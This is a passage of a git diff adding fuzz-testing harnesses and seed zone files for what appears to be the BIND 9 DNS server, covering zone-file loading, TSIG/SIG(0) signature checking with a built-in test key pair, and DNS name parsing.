+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdbool.h>
+#include <stdlib.h>
+
+#include <isc/buffer.h>
+#include <isc/mem.h>
+#include <isc/util.h>
+
+#include <dns/callbacks.h>
+#include <dns/db.h>
+#include <dns/master.h>
+#include <dns/types.h>
+
+#include "fuzz.h"
+
+bool debug = false;
+
+int
+LLVMFuzzerInitialize(int *argc, char ***argv) {
+	UNUSED(argc);
+	UNUSED(argv);
+	return (0);
+}
+
+int
+LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
+	isc_buffer_t buf;
+	isc_result_t result;
+	isc_mem_t *mctx = NULL;
+
+	isc_buffer_constinit(&buf, data, size);
+	isc_buffer_add(&buf, size);
+	isc_buffer_setactive(&buf, size);
+
+	dns_rdatacallbacks_t callbacks;
+	dns_rdatacallbacks_init(&callbacks);
+	dns_db_t *db = NULL;
+
+	isc_mem_create(&mctx);
+	result = dns_db_create(mctx, "rbt", dns_rootname, dns_dbtype_zone,
+			       dns_rdataclass_in, 0, NULL, &db);
+	if (result != ISC_R_SUCCESS) {
+		return 0;
+	}
+
+	result = dns_db_beginload(db, &callbacks);
+	if (result != ISC_R_SUCCESS) {
+		goto end;
+	}
+
+	result = dns_master_loadbuffer(&buf, &db->origin, &db->origin,
+				       db->rdclass, DNS_MASTER_ZONE, &callbacks,
+				       db->mctx);
+	if (debug) {
+		fprintf(stderr, "loadbuffer: %s\n", isc_result_totext(result));
+	}
+	result = dns_db_endload(db, &callbacks);
+	if (debug) {
+		fprintf(stderr, "endload: %s\n", isc_result_totext(result));
+	}
+
+end:
+	dns_db_detach(&db);
+	isc_mem_destroy(&mctx);
+	return (0);
+}
diff --git a/fuzz/dns_master_load.in/date.db b/fuzz/dns_master_load.in/date.db
new file mode 100644
index 0000000000..62dd4566ac
--- /dev/null
+++ b/fuzz/dns_master_load.in/date.db
@@ -0,0 +1,21 @@
+$TTL 300	; 5 minutes
+@			SOA	mname1. . (
+				2000062101 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	a1
+$DATE 20210101000000
+
+a1		123	A	\# 4 0A000001
+a2		456	A	\# 4 0A000001
+
+txt1			TXT	\# 6 0568656C6C6F
+txt2			TXT	"hello"
+txt3			TXT	\# 6 0568656C6C6F
+txt4			TXT	"hello"
+
+unk1                    TYPE123 \# 1 00
+unk2            	TYPE123 \# 1 00
diff --git a/fuzz/dns_master_load.in/generate-counter-overflow.db b/fuzz/dns_master_load.in/generate-counter-overflow.db
new file mode 100644
index 0000000000..590c0d5c04
Binary files /dev/null and b/fuzz/dns_master_load.in/generate-counter-overflow.db differ
diff --git a/fuzz/dns_master_load.in/generate.db b/fuzz/dns_master_load.in/generate.db
new file mode 100644
index 0000000000..8c2053dfbc
--- /dev/null
+++ b/fuzz/dns_master_load.in/generate.db
@@ -0,0 +1,10 @@
+$ORIGIN .
+$TTL	120
+@		SOA	tld4.  hostmaster.ns.tld4. ( 1 3600 1200 604800 60 )
+		NS	ns
+ns		A	10.53.0.2
+$GENERATE 11-18 all$.a9 A 192.0.2.8
+$GENERATE 1-2 @ PTR SERVER$.EXAMPLE.
+$GENERATE 1-7 $ CNAME $.0
+$GENERATE 17-27 HOST-$ A 1.2.3.$
+$GENERATE 277-288 HOST-$ MX "0 ."
diff --git a/fuzz/dns_master_load.in/include.db b/fuzz/dns_master_load.in/include.db
new file mode 100644
index 0000000000..b83d7546f9
--- /dev/null
+++ b/fuzz/dns_master_load.in/include.db
@@ -0,0 +1,8 @@
+$ORIGIN .
+$TTL	120
+@		SOA	tld4.  hostmaster.ns.tld4. ( 1 3600 1200 604800 60 )
+		NS	ns
+ns		A	10.53.0.2
+$INCLUDE withoutorigin
+$INCLUDE withoutorigin origin
+
diff --git a/fuzz/dns_master_load.in/minimal.db b/fuzz/dns_master_load.in/minimal.db
new file mode 100644
index 0000000000..54177a6845
--- /dev/null
+++ b/fuzz/dns_master_load.in/minimal.db
@@ -0,0 +1,4 @@
+.	SOA ns1. hostmaster.warn.example. (
+	    1 3600 1200 604800 3600 )
+	NS  ns1.
+ns1. 555 IN A 10.53.0.1
diff --git a/fuzz/dns_message_checksig.c b/fuzz/dns_message_checksig.c
new file mode 100644
index 0000000000..9129f540e6
--- /dev/null
+++ b/fuzz/dns_message_checksig.c
@@ -0,0 +1,480 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <stdbool.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include <isc/buffer.h>
+#include <isc/commandline.h>
+#include <isc/file.h>
+#include <isc/mem.h>
+#include <isc/result.h>
+#include <isc/string.h>
+#include <isc/tid.h>
+#include <isc/util.h>
+
+#include <dns/fixedname.h>
+#include <dns/message.h>
+#include <dns/name.h>
+#include <dns/rcode.h>
+#include <dns/tsig.h>
+#include <dns/view.h>
+#include <dns/zone.h>
+
+#include "fuzz.h"
+
+bool debug = false;
+
+static isc_mem_t *mctx = NULL;
+
+/*
+ *	Packet dumps of validily signed request ./IN/SOA
+ *	requests.
+ *
+ *	TSIG:
+ *
+ *	0x0000:  600b 0900 006a 1140 0000 0000 0000 0000
+ *	0x0010:  0000 0000 0000 0001 0000 0000 0000 0000
+ *	0x0020:  0000 0000 0000 0001 cc88 0035 006a 007d
+ *	0x0030:  1dfa 0000 0001 0000 0000 0001 0000 0600
+ *	0x0040:  0108 7473 6967 2d6b 6579 0000 fa00 ff00
+ *	0x0050:  0000 0000 3d0b 686d 6163 2d73 6861 3235
+ *	0x0060:  3600 0000 622a cce1 012c 0020 224d 5807
+ *	0x0070:  648d 1400 9d8e fc1c d049 55e9 cc90 2187
+ *	0x0080:  3b5f af5c 8899 dc27 c8df b34b 1dfa 0000
+ *	0x0090:  0000
+ *
+ *	SIG(0):
+ *
+ *	0x0000:  6004 0e00 013f 1140 0000 0000 0000 0000
+ *	0x0010:  0000 0000 0000 0001 0000 0000 0000 0000
+ *	0x0020:  0000 0000 0000 0001 c0a7 0035 013f 0152
+ *	0x0030:  0000 0000 0001 0000 0000 0001 0000 0600
+ *	0x0040:  0100 0018 00ff 0000 0000 011b 0000 0800
+ *	0x0050:  0000 0000 622a ce0d 622a cbb5 da71 0773
+ *	0x0060:  6967 306b 6579 0068 988b 27bf 5c89 5270
+ *	0x0070:  c5ba ea8b 2e10 0512 9b44 48d3 69de b7ec
+ *	0x0080:  7c67 15f3 6bc7 b0dc 277b e8f1 6979 4c89
+ *	0x0090:  149a 0203 30a1 c0b7 a711 ee8a 8d90 ebb9
+ *	0x00a0:  9e33 dd65 33d5 5d1d 90db cf9c bb6a b346
+ *	0x00b0:  568f a399 71d7 c877 616d 2fb7 0f86 963f
+ *	0x00c0:  aa00 850d 180a 9f83 cd4b d115 c79f 64c9
+ *	0x00d0:  ff05 e751 6810 28b3 2249 c4ba 2d8d 57ba
+ *	0x00e0:  9aad f1fc b34e c237 9465 04fd fe4d 19c9
+ *	0x00f0:  2368 ec8e 7097 eaea e067 2b9c 06eb c383
+ *	0x0100:  e901 a11e 606b 4cce c12a 0e57 8c09 b7cb
+ *	0x0110:  23bb ec05 b68b 1852 9288 b665 fe89 cf62
+ *	0x0120:  0a41 5e5a acbe 6903 cbb7 e7b6 cab4 e4a2
+ *	0x0130:  b98f 884f c09d 5b39 c695 c84c 9a92 f110
+ *	0x0140:  ccc3 f2ee 313f a2a1 1cda 5aa2 faec d593
+ *	0x0150:  4514 724a 868f 94b9 0547 4dc9 7b73 c85e
+ *	0x0160:  544c 73d4 e892 f9
+ */
+
+#define HMACSHA256 "\x0bhmac-sha256"
+
+static isc_stdtime_t fuzztime = 0x622acce1;
+static isc_loopmgr_t *loopmgr = NULL;
+static dns_view_t *view = NULL;
+static dns_tsigkey_t *tsigkey = NULL;
+static dns_tsigkeyring_t *ring = NULL;
+static dns_tsigkeyring_t *emptyring = NULL;
+static char *wd = NULL;
+static char template[] = "/tmp/dns-message-checksig-XXXXXX";
+
+static char f1[] = "Ksig0key.+008+55921.key";
+static char c1[] = "sig0key. IN KEY 512 3 8 "
+		   "AwEAAa22lgHi1vAbQvu5ETdTrm2H8rwga9tvyMa6LFiSDyevLvSv0Uo5 "
+		   "uvfrXnxaLdtBMts6e1Ly2piSH9JRbOGMNibOK4EXWhWAn8MII4SWgQAs "
+		   "bFwtiz4HyPn2wScrUQdo8DocKiQJBanesr7vDO8fdA6Rg1e0yAtSeNti "
+		   "e8avx46/HJa6CFs3CoE0sf6oOFSxM954AgCBTXOGNBt1Nt3Bhfqt2qyA "
+		   "TLFii5K1jLDTZDVkoiyDXL1M7wcTwKf9METgj1eQmH3GGlRM/OJ/j8xk "
+		   "ZiFGbL3cipWdiH48031jiV2hlc92mKn8Ya0d9AN6c44piza/JSFydZXw "
+		   "sY32nxzjDbs=\n";
+
+static char f2[] = "Ksig0key.+008+55921.private";
+static char c2[] = "Private-key-format: v1.3\n\
+Algorithm: 8 (RSASHA256)\n\
+Modulus: rbaWAeLW8BtC+7kRN1OubYfyvCBr22/IxrosWJIPJ68u9K/RSjm69+tefFot20Ey2zp7UvLamJIf0lFs4Yw2Js4rgRdaFYCfwwgjhJaBACxsXC2LPgfI+fbBJytRB2jwOhwqJAkFqd6yvu8M7x90DpGDV7TIC1J422J7xq/Hjr8clroIWzcKgTSx/qg4VLEz3ngCAIFNc4Y0G3U23cGF+q3arIBMsWKLkrWMsNNkNWSiLINcvUzvBxPAp/0wROCPV5CYfcYaVEz84n+PzGRmIUZsvdyKlZ2IfjzTfWOJXaGVz3aYqfxhrR30A3pzjimLNr8lIXJ1lfCxjfafHOMNuw==\n\
+PublicExponent: AQAB\n\
+PrivateExponent: GDfclFkR5ToFGH9rMTRMnP73Q5dzjLgkx4vyHcuzKtxcvAans4+hNj+NazckAy2E+mpzV2j95TJ4wZjSM2RvB5xLwBIc4Dg6oyAHL6Ikoae6gw64cHFOaYb808n8CyqWqfX+QWAz9sRSVZXnTuPViX3A+svR7ejVak9Bzr1NTDm0DFlrhaKVCYA++dKVZerfuNiXT/jQvrc4wMCa7WWsfLsFO8aTNkEhqUnmS9c5VYgr7MkCV4ENDBcISpQc9wElI0hl12QPaSj8iSdk9liYp+HTiOxOyp6BGGuecKAoQijMwrZy4qExdOxvowptll8+nZLtwGRn/un/xvIZY5OLAQ==\n\
+Prime1: ww3C6jwnrLQik/zxSgC0KuqgHq68cCjiRjwK2/euzs7NkMevFpXvV0cWO8x1/wKC1mszVLsUaKTvH6fzRsXfz5MPihzNzUYFwvobKVLserSxEwHNk+FKUU+q07Kf8WWnCqX5nX9QzVG1q4J8Q44N49I5S480jHLGYbyLZrEYMQE=\n\
+Prime2: 4/3Ozq/8vRgcO4bieFs4CbZR7C98HiTi65SiLBIKY09mDfCleZI0uurAYBluZJgHS5AC5cdyHFuJr3uKxvD+Mgdlru40U6cSCEdK7HAhyUGZUndWl28wyMEB6Kke1/owxVn0S4RKLPOgFI2668H6JObaqXf0wyY89RdVQP6VQrs=\n\
+Exponent1: Tbr9MyVX1j5PDVSev5P6OKQZvUB7PeM9ESo6VaCl3CqTxx+cic6ke86LcLcxSrewdkxwP1LydiVMWfwvOcP/RhRf+/Uwmp5OC35qNpSiQuAhNObiCw2b9T1fYU/s52FQKTEtgXNMOxZV5IxyguVoaaLMTG08TsAqiKZ/kyP99QE=\n\
+Exponent2: Q4qSNKrwLbixzHS2LL+hR0dK17RtiaSV0QKUVIf3qdoAusp6yxwkIOegnBeMm6JqLtl38kh2pq37iRAJWcxVEc8dMYiB2fJZpjgwmwDREYUsfcC611vqUN7UyO8pIwSMZDq045ZKPyzhVJV0NZmemEYHq0LNMO7oCheiewGwiDc=\n\
+Coefficient: T2u/J4NgyO+OqoLpXBIpTBzqrvDk8tb0feYgsp5d16hHvbXxNkMUR8cI07RdbI9HnEldtmhAnbQ6SvFiy2YYjpw/1Fz2WwdxRqLaDV7UlhrT+CqltvU9d/N/xThBNKDa23Wf5Vat+HRiLHSgzsY1PseVCWN+g4azuK2D8+DLeHE=\n\
+Created: 20220311073606\n\
+Publish: 20220311073606\n\
+Activate: 20220311073606\n";
+
+static char f3[] = "sig0key.db";
+static char c3[] = "sig0key. 0 IN SOA . . 0 0 0 0 0\n\
+sig0key. 0 IN NS .\n\
+sig0key. 0 IN KEY 512 3 8 AwEAAa22lgHi1vAbQvu5ETdTrm2H8rwga9tvyMa6LFiSDyevLvSv0Uo5 uvfrXnxaLdtBMts6e1Ly2piSH9JRbOGMNibOK4EXWhWAn8MII4SWgQAs bFwtiz4HyPn2wScrUQdo8DocKiQJBanesr7vDO8fdA6Rg1e0yAtSeNti e8avx46/HJa6CFs3CoE0sf6oOFSxM954AgCBTXOGNBt1Nt3Bhfqt2qyA TLFii5K1jLDTZDVkoiyDXL1M7wcTwKf9METgj1eQmH3GGlRM/OJ/j8xk ZiFGbL3cipWdiH48031jiV2hlc92mKn8Ya0d9AN6c44piza/JSFydZXw sY32nxzjDbs=\n";
+
+static bool destroy_dst = false;
+
+int
+LLVMFuzzerInitialize(int *argc ISC_ATTR_UNUSED, char ***argv ISC_ATTR_UNUSED) {
+	isc_result_t result;
+	dns_fixedname_t fixed;
+	dns_name_t *name = dns_fixedname_initname(&fixed);
+	unsigned char secret[16] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+				     0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+				     0xff, 0xff, 0xff, 0xff };
+	dns_zone_t *zone = NULL;
+	char pathbuf[PATH_MAX];
+	FILE *fd;
+
+	wd = mkdtemp(template);
+	if (wd == NULL) {
+		fprintf(stderr, "mkdtemp failed\n");
+		return (1);
+	}
+
+	snprintf(pathbuf, sizeof(pathbuf), "%s/%s", wd, f1);
+	fd = fopen(pathbuf, "w");
+	if (fd == NULL) {
+		fprintf(stderr, "fopen(%s) failed\n", pathbuf);
+		return (1);
+	}
+	fputs(c1, fd);
+	fclose(fd);
+
+	snprintf(pathbuf, sizeof(pathbuf), "%s/%s", wd, f2);
+	fd = fopen(pathbuf, "w");
+	if (fd == NULL) {
+		fprintf(stderr, "fopen(%s) failed\n", pathbuf);
+		return (1);
+	}
+	fputs(c2, fd);
+	fclose(fd);
+
+	snprintf(pathbuf, sizeof(pathbuf), "%s/%s", wd, f3);
+	fd = fopen(pathbuf, "w");
+	if (fd == NULL) {
+		fprintf(stderr, "fopen(%s) failed\n", pathbuf);
+		return (1);
+	}
+	fputs(c3, fd);
+	fclose(fd);
+
+	isc_mem_create(&mctx);
+
+	result = dst_lib_init(mctx, NULL);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "dst_lib_init failed: %s\n",
+			isc_result_totext(result));
+		return (1);
+	}
+	destroy_dst = true;
+
+	isc_loopmgr_create(mctx, 1, &loopmgr);
+
+	result = dns_view_create(mctx, NULL, dns_rdataclass_in, "view", &view);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "dns_view_create failed: %s\n",
+			isc_result_totext(result));
+		return (1);
+	}
+
+	dns_tsigkeyring_create(mctx, &ring);
+	dns_tsigkeyring_create(mctx, &emptyring);
+
+	result = dns_name_fromstring(name, "tsig-key", dns_rootname, 0, NULL);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "dns_name_fromstring failed: %s\n",
+			isc_result_totext(result));
+		return (1);
+	}
+
+	result = dns_tsigkey_create(name, DST_ALG_HMACSHA256, secret,
+				    sizeof(secret), mctx, &tsigkey);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "dns_tsigkey_create failed: %s\n",
+			isc_result_totext(result));
+		return (1);
+	}
+	result = dns_tsigkeyring_add(ring, tsigkey);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "dns_tsigkeyring_add failed: %s\n",
+			isc_result_totext(result));
+		return (1);
+	}
+
+	result = dns_name_fromstring(name, "sig0key", dns_rootname, 0, NULL);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "dns_name_fromstring failed: %s\n",
+			isc_result_totext(result));
+		return (1);
+	}
+
+	dns_zone_create(&zone, mctx, 0);
+
+	result = dns_zone_setorigin(zone, name);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "dns_zone_setorigin failed: %s\n",
+			isc_result_totext(result));
+		return (1);
+	}
+
+	dns_zone_setclass(zone, view->rdclass);
+	dns_zone_settype(zone, dns_zone_primary);
+
+	result = dns_zone_setkeydirectory(zone, wd);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "dns_zone_setkeydirectory failed: %s\n",
+			isc_result_totext(result));
+		return (1);
+	}
+
+	result = dns_zone_setfile(zone, pathbuf, dns_masterformat_text,
+				  &dns_master_style_default);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "dns_zone_setfile failed: %s\n",
+			isc_result_totext(result));
+		return (1);
+	}
+
+	result = dns_zone_load(zone, false);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "dns_zone_load failed: %s\n",
+			isc_result_totext(result));
+		return (1);
+	}
+
+	result = dns_view_addzone(view, zone);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "dns_view_addzone failed: %s\n",
+			isc_result_totext(result));
+		return (1);
+	}
+
+	dns_zone_setview(zone, view);
+	dns_view_freeze(view);
+
+	dns_zone_detach(&zone);
+
+	return (0);
+}
+
+static isc_result_t
+create_message(dns_message_t **messagep, const uint8_t *data, size_t size,
+	       bool addasig, bool addtsig) {
+	isc_result_t result;
+	dns_message_t *message = NULL;
+	isc_buffer_t b;
+	static unsigned char buf[65535];
+
+	isc_buffer_init(&b, buf, sizeof(buf));
+
+	/* Message ID */
+	isc_buffer_putuint16(&b, 0);
+
+	/* QR, Opcode, other flags = 0, rcode = 0 */
+	isc_buffer_putuint16(&b, (*data & 0x1f) << 11);
+	/* Counts */
+	isc_buffer_putuint16(&b, 1);
+	isc_buffer_putuint16(&b, 0);
+	isc_buffer_putuint16(&b, 0);
+	isc_buffer_putuint16(&b, addasig ? 1 : 0);
+
+	/* Question ./IN/SOA */
+	isc_buffer_putuint8(&b, 0);
+	isc_buffer_putuint16(&b, 6);
+	isc_buffer_putuint16(&b, 1);
+
+	if (addasig) {
+		/* Signature */
+		if (addtsig) {
+			const unsigned char keyname[] = "\x08tsig-key";
+			isc_buffer_putmem(&b, keyname, sizeof(keyname));
+			isc_buffer_putuint16(&b, dns_rdatatype_tsig);
+			isc_buffer_putuint16(&b, dns_rdataclass_any);
+		} else {
+			isc_buffer_putuint8(&b, 0); /* '.' */
+			isc_buffer_putuint16(&b, dns_rdatatype_sig);
+			isc_buffer_putuint16(&b, dns_rdataclass_in);
+		}
+		isc_buffer_putuint32(&b, 0); /* ttl */
+		data++;
+		size--;
+		if (size > isc_buffer_availablelength(&b) - 2) {
+			size = isc_buffer_availablelength(&b) - 2;
+		}
+		isc_buffer_putuint16(&b, size);
+		isc_buffer_putmem(&b, data, size);
+	}
+
+	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &message);
+
+	result = dns_message_parse(message, &b, 0);
+	if (debug) {
+		fprintf(stderr, "dns_message_parse => %s\n",
+			isc_result_totext(result));
+	}
+	if (result != ISC_R_SUCCESS) {
+		dns_message_detach(&message);
+	} else {
+		if (debug) {
+			char text[200000];
+			isc_buffer_init(&b, text, sizeof(text));
+
+			result = dns_message_totext(
+				message, &dns_master_style_debug, 0, &b);
+			if (result == ISC_R_SUCCESS) {
+				fprintf(stderr, "%.*s", (int)b.used, text);
+			} else {
+				fprintf(stderr, "dns_message_totext => %s\n",
+					isc_result_totext(result));
+			}
+		}
+		*messagep = message;
+	}
+	return (result);
+}
+
+int
+LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
+	isc_result_t result;
+	dns_message_t *message = NULL;
+	unsigned char query_tsig[23 + 32 + 6] = { 0 };
+	bool addasig = false;
+	bool addtime = false;
+	bool addtsig = false;
+	bool setquerytsig = false;
+	bool settsigkey = false;
+	bool subtime = false;
+	bool withring = false;
+	bool withview = false;
+
+	/*
+	 * The first 2 octets affect setup.
+	 * Octet 1 determines whether a signature is added and which type
+	 * (addasig, addtsig), whether time should be adjusted (addtime,
+	 * subtime), whether dns_message_setquerytsig and dns_message_settsigkey
+	 * have been called, whether there is a keyring available with the
+	 * TSIG key or a view is defined.
+	 *
+	 * The second octet defines if the message is a response and the
+	 * opcode.
+	 */
+	if (size > 65535 || size < 2) {
+		return (0);
+	}
+
+	addasig = (*data & 0x80) != 0;
+	addtime = (*data & 0x40) != 0;
+	addtsig = (*data & 0x20) != 0;
+	setquerytsig = (*data & 0x10) != 0;
+	settsigkey = (*data & 0x08) != 0;
+	subtime = (*data & 0x04) != 0;
+	withring = (*data & 0x02) != 0;
+	withview = (*data & 0x01) != 0;
+
+	data++;
+	size--;
+
+	if (debug) {
+		fprintf(stderr,
+			"addasig=%u addtime=%u addtsig=%u setquerytsig=%u "
+			"settsigkey=%u subtime=%u withring=%u\nwithview=%u\n",
+			addasig, addtime, addtsig, setquerytsig, settsigkey,
+			subtime, withring, withview);
+	}
+
+	result = create_message(&message, data, size, addasig, addtsig);
+	if (result != ISC_R_SUCCESS) {
+		return (0);
+	}
+
+	/*
+	 * Make time calculations consistent.
+	 */
+	message->fuzzing = 1;
+	message->fuzztime = fuzztime;
+	if (addtime) {
+		message->fuzztime += 1200;
+	}
+	if (subtime) {
+		message->fuzztime -= 1200;
+	}
+
+	if ((message->flags & DNS_MESSAGEFLAG_QR) != 0) {
+		if (setquerytsig) {
+			isc_buffer_t b;
+			unsigned char hmacname[] = HMACSHA256;
+			unsigned char hmac[32] = {
+				0x22, 0x4d, 0x58, 0x07, 0x64, 0x8d, 0x14, 0x00,
+				0x9d, 0x8e, 0xfc, 0x1c, 0xd0, 0x49, 0x55, 0xe9,
+				0xcc, 0x90, 0x21, 0x87, 0x3b, 0x5f, 0xaf, 0x5c,
+				0x88, 0x99, 0xdc, 0x27, 0xc8, 0xdf, 0xb3, 0x4b
+			};
+
+			/*
+			 * Valid TSIG rdata for tsig-key over a plain
+			 * DNS QUERY for ./SOA/IN with no flags set.
+			 */
+			isc_buffer_init(&b, query_tsig, sizeof(query_tsig));
+			isc_buffer_putmem(&b, hmacname, sizeof(hmacname));
+			isc_buffer_putuint16(&b, 0);	      /* time high */
+			isc_buffer_putuint32(&b, 0x622abec0); /* time low */
+			isc_buffer_putuint16(&b, 300);	      /* Fudge */
+			isc_buffer_putuint16(&b, 32);	      /* Mac Length */
+			/* Mac */
+			isc_buffer_putmem(&b, hmac, 32);
+			isc_buffer_putuint16(&b, 7674); /* Original Id */
+			isc_buffer_putuint16(&b, 0);	/* Error */
+			isc_buffer_putuint16(&b, 0);	/* Other len */
+
+			dns_message_setquerytsig(message, &b);
+		}
+	}
+
+	if (settsigkey) {
+		result = dns_message_settsigkey(message, tsigkey);
+		if (debug) {
+			fprintf(stderr, "dns_message_settsigkey => %s\n",
+				isc_result_totext(result));
+		}
+	}
+
+	dns_view_setkeyring(view, withring ? ring : emptyring);
+
+	result = dns_message_checksig(message, withview ? view : NULL);
+	if (debug) {
+		char textbuf[64];
+		isc_buffer_t b;
+
+		fprintf(stderr, "dns_message_checksig => %s\n",
+			isc_result_totext(result));
+		isc_buffer_init(&b, textbuf, sizeof(textbuf));
+		dns_tsigrcode_totext(message->tsigstatus, &b);
+		fprintf(stderr, "tsigstatus=%.*s\n", (int)b.used, textbuf);
+		isc_buffer_init(&b, textbuf, sizeof(textbuf));
+		dns_tsigrcode_totext(message->sig0status, &b);
+		fprintf(stderr, "sig0status=%.*s\n", (int)b.used, textbuf);
+	}
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup;
+	}
+
+cleanup:
+	if (message != NULL) {
+		dns_message_detach(&message);
+	}
+
+	return (0);
+}
diff --git a/fuzz/dns_message_checksig.in/issue-3547 b/fuzz/dns_message_checksig.in/issue-3547
new file mode 100644
index 0000000000..238442775e
Binary files /dev/null and b/fuzz/dns_message_checksig.in/issue-3547 differ
diff --git a/fuzz/dns_message_checksig.in/sig0 b/fuzz/dns_message_checksig.in/sig0
new file mode 100644
index 0000000000..61fbeb3b65
Binary files /dev/null and b/fuzz/dns_message_checksig.in/sig0 differ
diff --git a/fuzz/dns_message_checksig.in/tsig b/fuzz/dns_message_checksig.in/tsig
new file mode 100644
index 0000000000..38d040b8cb
Binary files /dev/null and b/fuzz/dns_message_checksig.in/tsig differ
diff --git a/fuzz/dns_message_checksig.in/tsig-reply b/fuzz/dns_message_checksig.in/tsig-reply
new file mode 100644
index 0000000000..f9fe2378a9
Binary files /dev/null and b/fuzz/dns_message_checksig.in/tsig-reply differ
diff --git a/fuzz/dns_message_parse.c b/fuzz/dns_message_parse.c
index 01d42068bb..a2366f85f8 100644
--- a/fuzz/dns_message_parse.c
+++ b/fuzz/dns_message_parse.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,12 +19,11 @@
 #include <isc/commandline.h>
 #include <isc/file.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/message.h>
-#include <dns/result.h>
 
 #include "fuzz.h"
 
@@ -34,8 +35,7 @@ static size_t output_len = 1024;
 static uint8_t render_buf[64 * 1024 - 1];
 
 int
-LLVMFuzzerInitialize(int *argc __attribute__((unused)),
-		     char ***argv __attribute__((unused))) {
+LLVMFuzzerInitialize(int *argc ISC_ATTR_UNUSED, char ***argv ISC_ATTR_UNUSED) {
 	isc_mem_create(&mctx);
 	output = isc_mem_get(mctx, output_len);
 
@@ -110,10 +110,8 @@ render_message(dns_message_t **messagep) {
 		message->counts[i] = 0;
 	}
 
-	result = dns_compress_init(&cctx, -1, mctx);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	dns_compress_init(&cctx, mctx, 0);
+
 	CHECKRESULT(result, dns_message_renderbegin(message, &cctx, &buffer));
 
 	CHECKRESULT(result, dns_message_rendersection(message,
diff --git a/fuzz/dns_name_fromtext_target.c b/fuzz/dns_name_fromtext_target.c
index f7169c6696..437496e5ce 100644
--- a/fuzz/dns_name_fromtext_target.c
+++ b/fuzz/dns_name_fromtext_target.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -22,13 +24,8 @@
 
 bool debug = false;
 
-static isc_mem_t *mctx = NULL;
-
 int
-LLVMFuzzerInitialize(int *argc __attribute__((unused)),
-		     char ***argv __attribute__((unused))) {
-	isc_mem_create(&mctx);
-	RUNTIME_CHECK(dst_lib_init(mctx, NULL) == ISC_R_SUCCESS);
+LLVMFuzzerInitialize(int *argc ISC_ATTR_UNUSED, char ***argv ISC_ATTR_UNUSED) {
 	return (0);
 }
 
@@ -38,10 +35,6 @@ LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
 	isc_result_t result;
 	dns_fixedname_t origin;
 
-	if (size < 5) {
-		return (0);
-	}
-
 	dns_fixedname_init(&origin);
 
 	isc_buffer_constinit(&buf, data, size);
@@ -50,6 +43,9 @@ LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
 
 	result = dns_name_fromtext(dns_fixedname_name(&origin), &buf,
 				   dns_rootname, 0, NULL);
-	UNUSED(result);
+	if (debug) {
+		fprintf(stderr, "dns_name_fromtext: %s\n",
+			isc_result_totext(result));
+	}
 	return (0);
 }
diff --git a/fuzz/dns_name_fromwire.c b/fuzz/dns_name_fromwire.c
new file mode 100644
index 0000000000..e6ad89a577
--- /dev/null
+++ b/fuzz/dns_name_fromwire.c
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stddef.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include <isc/ascii.h>
+#include <isc/buffer.h>
+#include <isc/util.h>
+
+#include <dns/compress.h>
+#include <dns/fixedname.h>
+#include <dns/name.h>
+
+#include "fuzz.h"
+#include "old.h"
+
+bool debug = false;
+
+int
+LLVMFuzzerInitialize(int *argc ISC_ATTR_UNUSED, char ***argv ISC_ATTR_UNUSED) {
+	return (0);
+}
+
+int
+LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
+	isc_result_t new_result;
+	isc_result_t old_result;
+	dns_fixedname_t new_fixed;
+	dns_fixedname_t old_fixed;
+	dns_name_t *new_name = dns_fixedname_initname(&new_fixed);
